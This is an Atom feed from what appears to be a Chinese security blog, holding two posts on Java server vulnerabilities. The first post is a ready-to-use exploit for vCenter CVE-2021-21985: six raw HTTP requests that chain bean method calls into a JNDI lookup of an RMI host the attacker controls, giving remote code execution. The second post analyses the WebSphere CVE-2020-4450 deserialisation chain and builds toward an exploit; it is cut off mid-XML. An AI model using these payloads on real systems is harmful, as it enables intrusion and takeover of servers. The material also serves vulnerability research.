<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>随风&#39;S Blog</title>
  <subtitle>网络安全爱好者</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://www.iswin.org/"/>
  <updated>2021-06-02T03:20:55.120Z</updated>
  <id>https://www.iswin.org/</id>
  
  <author>
    <name>iswin</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Vcenter Server CVE-2021-21985 RCE PAYLOAD</title>
    <link href="https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/"/>
    <id>https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/</id>
    <published>2021-06-02T02:55:49.000Z</published>
    <updated>2021-06-02T03:20:55.120Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>废话不多讲，老外对补丁的分析，具体补丁的分析和漏洞点可以看这篇文章 <a href="https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985" target="_blank" rel="noopener">https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985</a></p>
</blockquote>
<p>这个漏洞主要是对Spring 管理的bean进行相关的方法对象操作，但是这里不同的是，操作的bean在内存中基本上都是一个对象，这样就可以通过多次方法调用来实现伪链式调用。</p>
<p>Vcenter 开启Debug端口，可以直接在 C:\ProgramData\VMware\vCenterServer\cfg\vmware-vmon\svcCfgfiles\vsphere-ui.json 文件中取消remote debug注释即可。</p>
<p>这里以JNDI的利用为例子，关于其他的例如执行命令回显什么的，有兴趣的自己去找就行，这里就不对利用进行分析了，太费时间了。</p>
<p><strong>注：Vsphere UI 默认是Tomcat中间件，所以用Tomcat RMI Bypass 那种方式就可以执行任意代码。</strong></p>
<p>step 1 setTargetObject to null</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 22</p>
<p>{“methodInput”:[null]}</p>
<p>step 2 setStaticMethod to payload</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 56</p>
<p>{“methodInput”:[“javax.naming.InitialContext.doLookup”]}</p>
<p>step 3 setTargetMethod to doLookup</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 28</p>
<p>{“methodInput”:[“doLookup”]}</p>
<p>step 4 setArguments with payload args</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 50</p>
<p>{“methodInput”:[[“rmi://192.168.18.1:9999/iswin”]]}</p>
<p>step 5 initial payload class and methods</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 18</p>
<p>{“methodInput”:[]}</p>
<p>step 6 trigger method invoke</p>
<p>POST /ui/h5-vsan/rest/proxy/service/&amp;vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1<br>Host: 192.168.18.17<br>Connection: close<br>Cache-Control: max-age=0<br>sec-ch-ua: “ Not;A Brand”;v=”99”, “Google Chrome”;v=”91”, “Chromium”;v=”91”<br>sec-ch-ua-mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: none<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Accept-Encoding: gzip, deflate<br>Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,zh-TW;q=0.6,vi;q=0.5,mt;q=0.4,pt;q=0.3,fr;q=0.2,ca;q=0.1,hu;q=0.1<br>Cookie: JSESSIONID=C03BB7804BB41971B1CC494C335FB589; JSESSIONID=A91204E1CE2079AD5D08A38919D210AA<br>Content-Type: application/json<br>Content-Length: 18</p>
<p>{“methodInput”:[]}</p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;废话不多讲，老外对补丁的分析，具体补丁的分析和漏洞点可以看这篇文章 &lt;a href=&quot;https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985&quot; target=&quot;_blank&quot; rel=&quot;noo
    
    </summary>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
  </entry>
  
  <entry>
    <title>WebSphere CVE-2020-4450 漏洞分析</title>
    <link href="https://www.iswin.org/2020/08/04/WebSphere-CVE-2020-4450-Vul-Analysis/"/>
    <id>https://www.iswin.org/2020/08/04/WebSphere-CVE-2020-4450-Vul-Analysis/</id>
    <published>2020-08-04T05:08:35.000Z</published>
    <updated>2020-08-04T05:36:50.167Z</updated>
    
    <content type="html"><![CDATA[<h3 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h3><blockquote>
<p>7月20号，ZDI官方Blog公布了一个名为<a href="https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere" target="_blank" rel="noopener">abusing-java-remote-protocols-in-ibm-websphere</a> 的文章，文章中提到了Websphere的两个漏洞，一个是RCE，另外一个是XXE，根据Blog中的内容来看，漏洞属于IIOP协议的反序列化，也是基于JNDI的利用，但是跟常规的JNDI利用有一些不同之处，一方面是Websphere将IIOP替换成自己的实现，另外就是Websphere严格的类加载机制导致大部分公开的利用链都没法利用，这个漏洞利用需要访问至少2809端口以及两次外连请求，从红队利用角度来看稍微有点鸡肋，但是漏洞的利用思路以及EXP的构造都非常的有意思，是一个值得研究的漏洞。</p>
</blockquote>
<h3 id="漏洞环境准备"><a href="#漏洞环境准备" class="headerlink" title="漏洞环境准备"></a>漏洞环境准备</h3><p>经常做分析的同学都有深刻体会，针对有些不了解、不熟悉的系统进行分析时往往在环境准备上会耗费大量时间，而且有部分漏洞的利用需要在特定的条件和环境下进行，经常是”环境准备1天，分析调试10分钟“。</p>
<p>Websphere的安装有两种方式：</p>
<ol>
<li>在线安装，直接在<a href="https://www.ibm.com/support/pages/installation-manager-and-packaging-utility-download-documents下载Installation" target="_blank" rel="noopener">https://www.ibm.com/support/pages/installation-manager-and-packaging-utility-download-documents下载Installation</a> Manager工具就可以在线安装，国内的网速环境比较慢，需要挂代理然后多刷新几次，直到出来以下界面，说明就OK了。</li>
</ol>
<p><img src="https://www.iswin.org/attach/online-repo.png" alt></p>
<p><img src="https://www.iswin.org/attach/online-repo-ready.png" alt></p>
<ol>
<li>离线安装，这种方式现在官方基本上不推荐，而且离线的安装包基本上都是8.X的相对来说比较老，离线安装基本上需要将低包和安装程序都全部下载下来。</li>
</ol>
<p><strong>注</strong>：尽量不要选择基于Docker的安装环境，JAVA大部分RMI通信会依赖其他端口（一般是高端口）进行通信，安装的时候一定不要选补丁，不然复现不了，在线安装的版本是自带补丁的版本，本次测试的环境主要覆盖了两个版本，8.5.5.0以及9.0.0.2版本，这两个版本基本上涵盖了主流的版本。</p>
<h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p>一般情况下调试之前我们要看下端口对应是哪些进程启动，然后给对用的进程加上远程Remote Debug选项，Websphere的远程调试直接在后台对应Application Server下面设置Remote Debug就可（2809的端口以及其它几个端口PID都一样），Websphere之前没有针对性的看过，根据官方的描述我们直接将断点打在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request上，然后用IIOP客户端直接连接，触发断点之后，就可以在堆栈里面看到完整请求的触发路径。</p>
<p><img src="https://www.iswin.org/attach/TxServerInterceptor_receive_request.png" alt></p>
<p>这个回溯的时候我们可以看一下这个漏洞触发点的位置，由于这个点是未授权，所以我们通过回溯可以看一下整体的流程，这个点的Interceptor就类似Java WEB中Filter的功能，回溯到com.ibm.rmi.pi.InterceptorManager#iterateServerInterceptors，可以看到还有一些其他的拦截器</p>
<p><img src="https://www.iswin.org/attach/InterceptorManager_iterateServerInterceptors.png" alt></p>
<p>这些点都可以有助于分析人员对系统框架设计上的一些了解，下来直接看到关键的触发点，我们需要首先解决的问题是如何能到达漏洞触发点</p>
<p><img src="https://www.iswin.org/attach/TxServerInterceptor_demarshalContext.png" alt></p>
<p>我们的目标是进入TxInterceptorHelper.demarshalContext方法，那么这里核心的点就是保证ServiceContext serviceContext = ((ExtendedServerRequestInfo)sri).getRequestServiceContext(0);代码片段中中serviceContext不为空，同时serviceContext.context_data的内容不为空，所以我们先解决如何构造数据包的问题。</p>
<p>IIOP协议的链接主要有两种方式,一种是JAVA提供的标准客户端连接方式，这个的好处是可以通过设置java.naming.factory.initial对应的实现类去处理多种协议，例如T3(S)/IIOP(S)/LDAP(S)等等。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Properties env = <span class="keyword">new</span> Properties();</span><br><span class="line">env.put(Context.INITIAL_CONTEXT_FACTORY, <span class="string">"com.ibm.websphere.naming.WsnInitialContextFactory"</span>);</span><br><span class="line">env.put(Context.PROVIDER_URL, <span class="string">"iiop://192.168.18.130:2809"</span>);</span><br><span class="line">InitialContext initialContext = <span class="keyword">new</span> InitialContext(env);</span><br><span class="line">initialContext.list(<span class="string">"sglab"</span>);</span><br></pre></td></tr></table></figure>
<p>另外一种就是用ORB客户端直接连接，这种相对来说比较直接一点</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Properties props = <span class="keyword">new</span> Properties();</span><br><span class="line">props.put(<span class="string">"org.omg.CORBA.ORBInitialPort"</span>, <span class="string">"2809"</span>);</span><br><span class="line">props.put(<span class="string">"org.omg.CORBA.ORBInitialHost"</span>, <span class="string">"192.168.18.130"</span>);</span><br><span class="line">ORB orb = ORB.init(args, props);</span><br><span class="line">org.omg.CORBA.Object orbref = orb.resolve_initial_references(<span class="string">"NameService"</span>);</span><br></pre></td></tr></table></figure>
<p>现在的问题是如何在连接过程中设置相应的ServiceContext内容，经过一番搜索，发现可以通过第一种连接方式然后反射手动去加一个ServiceContext的实例，这里直接给出相应的实现，具体怎么找还是去Debug看变量。</p>
<p><img src="https://www.iswin.org/attach/payload_serviceContext.png" alt></p>
<p>现在可以到漏洞触发点了</p>
<p><img src="https://www.iswin.org/attach/TxInterceptorHelper_demarshalContext_serviceContext.png" alt></p>
<p>下面主要是看如何进行数据包的构造，为了能触发反序列化，程序必须得执行到如下代码片段第80行，propContext.implementation_specific_data = inputStream.read_any(); 代码片段。</p>
<p><img src="https://www.iswin.org/attach/inputstream_read_any.png" alt="image-20200731114459835"></p>
<p>由于前面有一堆的read*操作在demarshalContext函数中，那么我们可以看下对应marshalContext函数是怎么把对象序列化并且包装发出去的<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">byte</span>[] marshalContext(PropagationContext propContext, ORB orb) &#123;</span><br><span class="line">    <span class="keyword">if</span> (TraceComponent.isAnyTracingEnabled() &amp;&amp; tc.isEntryEnabled()) &#123;</span><br><span class="line">        Tr.entry(tc, <span class="string">"marshalContext"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">byte</span>[] result = <span class="keyword">null</span>;</span><br><span class="line">    CDROutputStream outputStream = ORB.createCDROutputStream(orb);</span><br><span class="line">    outputStream.putEndian();</span><br><span class="line">    PropagationContextHelper.write(outputStream, propContext);</span><br><span class="line">    <span class="keyword">byte</span>[] result = outputStream.toByteArray();</span><br><span class="line">    outputStream.releaseBuffer();</span><br><span class="line">    <span class="keyword">if</span> (TraceComponent.isAnyTracingEnabled() &amp;&amp; tc.isEntryEnabled()) &#123;</span><br><span class="line">        Tr.exit(tc, <span class="string">"marshalContext"</span>, result);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>到这里就可以照猫画虎生成payload，具体的代码片段如下<br><img src="https://www.iswin.org/attach/payload_generate.png" alt="image-20200731115005287"><br>这里WSIFPort_EJB对象在反序列化的时候回去调用一个对象fieldEjbObject，这个对象的构造稍微麻烦点，我是直接重写了com.ibm.ejs.container.EJSWrapper#getHandle函数，这样所有的构造都有可以在这里面进行，后面会讲到如何进行构造，到目前我们可以进行到反序列化的点，整体的调用链如下（主要是前面提到的inputStream.read_any()到最后调用的函数）<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">readObject:<span class="number">513</span>, WSIFPort_EJB (org.apache.wsif.providers.ejb)</span><br><span class="line">invoke0:-<span class="number">1</span>, NativeMethodAccessorImpl (sun.reflect)</span><br><span class="line">invoke:<span class="number">90</span>, NativeMethodAccessorImpl (sun.reflect)</span><br><span class="line">invoke:<span class="number">55</span>, DelegatingMethodAccessorImpl (sun.reflect)</span><br><span class="line">invoke:<span class="number">508</span>, Method (java.lang.reflect)</span><br><span class="line">invokeObjectReader:<span class="number">2483</span>, IIOPInputStream (com.ibm.rmi.io)</span><br><span class="line">inputObjectUsingClassDesc:<span class="number">2010</span>, IIOPInputStream (com.ibm.rmi.io)</span><br><span class="line">continueSimpleReadObject:<span class="number">749</span>, IIOPInputStream (com.ibm.rmi.io)</span><br><span class="line">simpleReadObjectLoop:<span class="number">720</span>, IIOPInputStream (com.ibm.rmi.io)</span><br><span class="line">simpleReadObject:<span class="number">669</span>, IIOPInputStream (com.ibm.rmi.io)</span><br><span class="line">readValue:<span class="number">193</span>, ValueHandlerImpl (com.ibm.rmi.io)</span><br><span class="line">read_value:<span class="number">787</span>, CDRReader (com.ibm.rmi.iiop)</span><br><span class="line">read_value:<span class="number">847</span>, EncoderInputStream (com.ibm.rmi.iiop)</span><br><span class="line">unmarshalIn:<span class="number">273</span>, TCUtility (com.ibm.rmi.corba)</span><br><span class="line">read_value:<span class="number">664</span>, AnyImpl (com.ibm.rmi.corba)</span><br><span class="line">read_any:<span class="number">467</span>, CDRReader (com.ibm.rmi.iiop)</span><br><span class="line">read_any:<span class="number">797</span>, EncoderInputStream (com.ibm.rmi.iiop)</span><br><span class="line">demarshalContext:<span class="number">171</span>, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)</span><br><span class="line">receive_request:<span class="number">180</span>, TxServerInterceptor (com.ibm.ws.Transaction.JTS)</span><br><span class="line">invokeInterceptor:<span class="number">608</span>, InterceptorManager (com.ibm.rmi.pi)</span><br><span class="line">iterateServerInterceptors:<span class="number">521</span>, InterceptorManager (com.ibm.rmi.pi)</span><br><span class="line">iterateReceiveRequest:<span class="number">732</span>, InterceptorManager (com.ibm.rmi.pi)</span><br><span class="line">dispatchInvokeHandler:<span class="number">629</span>, ServerDelegate (com.ibm.CORBA.iiop)</span><br><span class="line">dispatch:<span class="number">508</span>, ServerDelegate (com.ibm.CORBA.iiop)</span><br><span class="line">process:<span class="number">613</span>, ORB (com.ibm.rmi.iiop)</span><br><span class="line">process:<span class="number">1584</span>, ORB (com.ibm.CORBA.iiop)</span><br><span class="line">doRequestWork:<span class="number">3210</span>, Connection (com.ibm.rmi.iiop)</span><br><span class="line">doWork:<span class="number">3071</span>, Connection (com.ibm.rmi.iiop)</span><br><span class="line">doWork:<span class="number">64</span>, WorkUnitImpl (com.ibm.rmi.iiop)</span><br><span class="line">run:<span class="number">118</span>, PooledThread (com.ibm.ejs.oa.pool)</span><br><span class="line">run:<span class="number">1892</span>, ThreadPool$Worker (com.ibm.ws.util)</span><br></pre></td></tr></table></figure></p>
<p>这里解决了触发反序列化的这个过程，由于IBM Wesphere自定义的Classloader干掉了一些利用链中所需要类，导致公开的利用链是打不死的，所以我们需要基于WSIFPort_EJB 这个类去找一个新的利用链，基于WSIFPort_EJB 最终利用点在com.ibm.ejs.container.EntityHandle#getEJBObject中的下面代码</p>
<p><img src="https://www.iswin.org/attach/getEJBObject.png" alt="image-20200731120011453"></p>
<p>92行是漏洞最终的触发点，根据这段代码我们可以看到，ctx.lookup这个函数必须是实现EJBHOME接口的类，这样才能到100行中最后去触发利用点，假定我们不继续往后面跟进，到这里我们可以找到homeClass的要求，要实现或者EJBHOME接口，同时有声明findFindByPrimaryKey方法，并且参数是Serializable类型，那么我们可以快速找到一个接口com.ibm.ws.batch.CounterHome,该接口的具体定义如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">CounterHome</span> <span class="keyword">extends</span> <span class="title">EJBHome</span> </span>&#123;</span><br><span class="line">    <span class="function">Counter <span class="title">create</span><span class="params">(String var1)</span> <span class="keyword">throws</span> CreateException, RemoteException</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function">Counter <span class="title">findByPrimaryKey</span><span class="params">(String var1)</span> <span class="keyword">throws</span> FinderException, RemoteException</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>完全满足我们的需求，现在就是要去找ctx.lookup返回结果满足上面的要求的类，根据ZDI文章中的内容，这个IIOP的实现完全被IBM自己实现了一遍，所以传统的直接去LDAP或者RMI利用在这里是肯定不行的，这个地方的JNDI的调用逻辑主要如下</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">com.sun.jndi.rmi.registry.RegistryContext#lookup </span><br><span class="line">com.sun.jndi.rmi.registry.RegistryContext#decodeObject </span><br><span class="line">javax.naming.spi.NamingManager#getObjectInstance </span><br><span class="line">org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance </span><br><span class="line">org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance </span><br><span class="line">org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories（其他函数路径也可以）</span><br></pre></td></tr></table></figure>
<p>我们直接跟进进行进一步分析，重点看org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance这个函数，JNDI的利用包括RMI的那个BYPASS基本上都在找javax.naming.spi.ObjectFactory接口新的实现类</p>
<p><img src="https://www.iswin.org/attach/obj_factory.png" alt="image-20200731121708555"></p>
<p>这里可以看到我们可以指定String factories = (String)environment.get(“java.naming.factory.object”);这个变量，environment变量是我们在反序列化的时候控制的内容，所以这里需要去找一个ObjectFactory可以利用的实现类，可以找到ZDI文章中说的这个org.apache.wsif.naming.WSIFServiceObjectFactory这个类，这个类我们可以看到</p>
<p><img src="https://www.iswin.org/attach/WSIFServiceObjectFactory_getObjectInstance.png" alt="image-20200731122115770"></p>
<p>到这里不由得让我们想起了之前那个RMIBYPASS的场景<a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java" target="_blank" rel="noopener">https://www.veracode.com/blog/research/exploiting-jndi-injections-java</a> ，倒着我们就可以自定义一个RMI服务，将bind的内容设置成我们可以控制的org.apache.wsif.naming.WSIFServiceStubRef类型，就可以到最下面的函数，为什么上面那个org.apache.wsif.naming.WSIFServiceRef不行，因为前面提到了这个类必须要是EJBHOME的实现类，上面的明显不符合要求，下面的是通过动态代理来生成一个指定接口的类，而且接口的类型我们也可以控制，所以接下来就是如何利用wsif服务来进行代码执行了。</p>
<p>这里ctx.lookup里面的jndi的地址可以设置为自定义rmi的服务，具体的RMI服务代码如下</p>
<p><img src="https://www.iswin.org/attach/rmi_server.png" alt="image-20200731122943370"></p>
<p>这里就可以控制wsif相关的内容以及className接口的名称这里可以在设置Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String)null, (String)null);来指定具体的实现，配合org.apache.wsif.providers.ejb.WSIFPort_EJB序列化中java.naming.factory.object的类型来指定factory的实现类，也可以直接在这里指定factory的实现类这样客户端就不需要指定，两种方式都可以。</p>
<p>WSIFPort_EJB中fieldEjbObject对象的生成内容如下（我手动覆盖了com.ibm.ejs.container.EJSWrapper#getHandle）函数</p>
<p><img src="https://www.iswin.org/attach/EJSWrapper_handler.png" alt="image-20200731123434018"></p>
<p>关于WSIF服务如何进行RCE，这里说下关键点，具体的Sample参考<a href="https://www.ibm.com/support/knowledgecenter/ru/SSAW57_8.5.5/com.ibm.websphere.nd.multiplatform.doc/ae/twsf_devwes.html，看完弄个EXP肯定是没问题，factory返回的对象是一个动态代理，实现了com.ibm.ws.batch.CounterHome接口，最终在调用findByPrimaryKey函数的时候回去调用org.apache.wsif.base.WSIFClientProxy#invoke方法，这个方法中使用了WSIFOperation" target="_blank" rel="noopener">https://www.ibm.com/support/knowledgecenter/ru/SSAW57_8.5.5/com.ibm.websphere.nd.multiplatform.doc/ae/twsf_devwes.html，看完弄个EXP肯定是没问题，factory返回的对象是一个动态代理，实现了com.ibm.ws.batch.CounterHome接口，最终在调用findByPrimaryKey函数的时候回去调用org.apache.wsif.base.WSIFClientProxy#invoke方法，这个方法中使用了WSIFOperation</a> wsifOperation = this.wsifport.createOperation(method.getName(), inputName, outputName); 函数去请求wsif服务进行远程方法调用。</p>
<p>WSIF服务的wsdl描述文件中提供了JavaBind的方式，可以将描述文件中定义的函数（operation name）映射成客户机器中Java类的函数，所以这里我们可以将在wsif描述文件中定义findByPrimaryKey函数以及映射函数的参数和返回类型，这样在最终调用findByPrimaryKey函数的时候会调用到org.apache.wsif.base.WSIFClientProxy#invoke中createOperation函数去进行远程方法调用，客户端在拿到映射后就可以去执行映射类相应的函数了。</p>
<p>这里映射的类和函数是javax.el.ELProcessor类的eval方法，eval函数接受一个String类型的参数映射是符合相应的定义，WSIF对应的XML文件关键片段如下：</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">binding</span> <span 